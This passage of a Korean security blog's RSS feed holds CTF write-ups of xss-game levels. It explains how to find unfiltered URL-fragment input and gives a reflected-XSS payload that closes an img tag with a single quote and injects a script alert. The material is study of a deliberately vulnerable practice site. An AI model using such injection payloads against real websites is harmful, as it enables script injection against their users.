this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;409&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;483&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 XSS(RXSS) 공격에 성공했고 문제를 클리어하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;524&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y8o2e/dJMcafS1JQ6/Xu15DkM0k6I1ToZGjvIz4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y8o2e/dJMcafS1JQ6/Xu15DkM0k6I1ToZGjvIz4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y8o2e/dJMcafS1JQ6/Xu15DkM0k6I1ToZGjvIz4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy8o2e%2FdJMcafS1JQ6%2FXu15DkM0k6I1ToZGjvIz4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;444&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;524&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/xss-game(CTF)</category>
      <category>CTF</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>XSS</category>
      <category>XSS Game</category>
      <category>xss game appspot</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/21</guid>
      <comments>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-46#entry21comment</comments>
      <pubDate>Fri, 6 Feb 2026 16:33:36 +0900</pubDate>
    </item>
    <item>
      <title>xss game(CTF) - 문제 풀이 (3/6)</title>
      <link>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-36</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;개발자 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - &lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level3&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHfC3V/dJMcafFtXIz/f0UQLdb9tQtmPS179KaKPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHfC3V/dJMcafFtXIz/f0UQLdb9tQtmPS179KaKPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHfC3V/dJMcafFtXIz/f0UQLdb9tQtmPS179KaKPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHfC3V%2FdJMcafFtXIz%2Ff0UQLdb9tQtmPS179KaKPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;406&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Image 1, Image 2, Image 3을 클릭해 보면 각각의 이미지를 URL Fragment를 이용하여 가져오고 있는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HG6Oo/dJMcaaEbukA/uYmxoQ4tFAdc4rDKkI3pi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HG6Oo/dJMcaaEbukA/uYmxoQ4tFAdc4rDKkI3pi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HG6Oo/dJMcaaEbukA/uYmxoQ4tFAdc4rDKkI3pi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHG6Oo%2FdJMcaaEbukA%2FuYmxoQ4tFAdc4rDKkI3pi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;410&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 Fragment 식별자 값(# 뒤의 값)을 임의로 입력하고 개발자 도구 Elements 탭을 확인해 봅니다. 코드를 보면 Image 1,2,3 버튼을 눌렀을 때 onclick 이벤트 속성에 의해 chooseTab 함수가 실행되는 것을 볼 수 있고 사용자가 입력했던 Fragment 식별자 값은 img 태그의 경로에 들어가고 있는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RPVjS/dJMcafla6wy/CV7WjS8TPK43JdpKKW2Jpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RPVjS/dJMcafla6wy/CV7WjS8TPK43JdpKKW2Jpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RPVjS/dJMcafla6wy/CV7WjS8TPK43JdpKKW2Jpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRPVjS%2FdJMcafla6wy%2FCV7WjS8TPK43JdpKKW2Jpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;408&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Fragment 식별자 값에 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;특수문자 4개&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;'&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;를 삽입하여 결과를 확인합니다. 결과를 보게 되면 img 태그의 문법이 깨지고 있는 것을 알 수 있고 특수 문자가 어떠한 필터링 없이 그대로 사용되고 있는 것을 볼 수 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmDsO7/dJMcaaRJCON/I9TaDMXBgEKKZdoovHgAW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmDsO7/dJMcaaRJCON/I9TaDMXBgEKKZdoovHgAW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmDsO7/dJMcaaRJCON/I9TaDMXBgEKKZdoovHgAW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmDsO7%2FdJMcaaRJCON%2FI9TaDMXBgEKKZdoovHgAW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;406&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #1c1c1c; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1c1c1c; text-align: start;&quot;&gt;개발자 도구의 Elements 탭에 들어가서 script 태그들을 확인하다 보면 다음과 같이 chooseTab 함수가 어떤 식으로 동작하고 있는지를 확인할 수 있습니다. &lt;span style=&quot;background-color: #ffffff; color: #1c1c1c; text-align: start;&quot;&gt;함수 내부 코드를 보면 src 경로가 싱글 쿼터로 감싸지게 되는데 특수 문자 4개를 입력했을 때 img 태그가 깨진 이유가 싱글 쿼터 때문입니다.&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;477&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n6Tc4/dJMb996ledE/CnKxK2Gd7KZLfnQam4bWzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n6Tc4/dJMb996ledE/CnKxK2Gd7KZLfnQam4bWzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n6Tc4/dJMb996ledE/CnKxK2Gd7KZLfnQam4bWzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn6Tc4%2FdJMb996ledE%2FCnKxK2Gd7KZLfnQam4bWzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;404&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;477&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;따라서 이를 이용하여 페이로드를 입력합니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드 : 1test'&amp;gt;&amp;lt;script&amp;gt;alert('xss');&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;싱글 쿼터와 꺾쇠 기호를 이용하여 img 태그를 강제로 닫고 script 태그를 이용하여 스크립트를 삽입합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7txrK/dJMcacorSFm/X3ZkFfB2qYeUWFbERJVoak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7txrK/dJMcacorSFm/X3ZkFfB2qYeUWFbERJVoak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7txrK/dJMcacorSFm/X3ZkFfB2qYeUWFbERJVoak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7txrK%2FdJMcacorSFm%2FX3ZkFfB2qYeUWFbERJVoak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;408&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입한 페이로드에 의해 스크립트가 실행되어 경고 창을 화면에 띄우며 해당 CTF 문제를 클리어하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;509&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lfoab/dJMcafyJFBJ/93UWOWjhkEOW9rxev4nKbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lfoab/dJMcafyJFBJ/93UWOWjhkEOW9rxev4nKbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lfoab/dJMcafyJFBJ/93UWOWjhkEOW9rxev4nKbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flfoab%2FdJMcafyJFBJ%2F93UWOWjhkEOW9rxev4nKbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;431&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;509&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/xss-game(CTF)</category>
      <category>CTF</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>XSS</category>
      <category>XSS Game</category>
      <category>xss game appspot</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/20</guid>
      <comments>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-36#entry20comment</comments>
      <pubDate>Thu, 5 Feb 2026 21:45:54 +0900</pubDate>
    </item>
    <item>
      <title>xss game(CTF) - 문제 풀이 (2/6)</title>
      <link>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-26</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;목표 &amp;amp; 사용 도구&amp;nbsp;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;개발자 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - &lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level2&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;문제 페이지에 접속한 뒤 입력란에 특수문자 4개&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;'&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;,&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;를 삽입하여 Share status! 버튼을 클릭합니다.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHxePF/dJMcaa5eBQT/wLRLsBEqnTfDbUIIbfukr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHxePF/dJMcaa5eBQT/wLRLsBEqnTfDbUIIbfukr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHxePF/dJMcaa5eBQT/wLRLsBEqnTfDbUIIbfukr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHxePF%2FdJMcaa5eBQT%2FwLRLsBEqnTfDbUIIbfukr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;413&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면(개발자 도구 사용) 사용자가 입력한 특수문자 4개 전부 별다른 필터링이 없이 그대로 사용되고 있는 것을 알 수 있습니다. 이는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;HTML과 javascript를 이용하여 스크립트를 삽입할 가능성이 있다는 것을 의미합니다.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pyARP/dJMcabXm3db/vKWeLCZH2NyFM1nzgGL9Nk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pyARP/dJMcabXm3db/vKWeLCZH2NyFM1nzgGL9Nk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pyARP/dJMcabXm3db/vKWeLCZH2NyFM1nzgGL9Nk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpyARP%2FdJMcabXm3db%2FvKWeLCZH2NyFM1nzgGL9Nk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;485&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;script 태그가 삽입이 가능하다는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
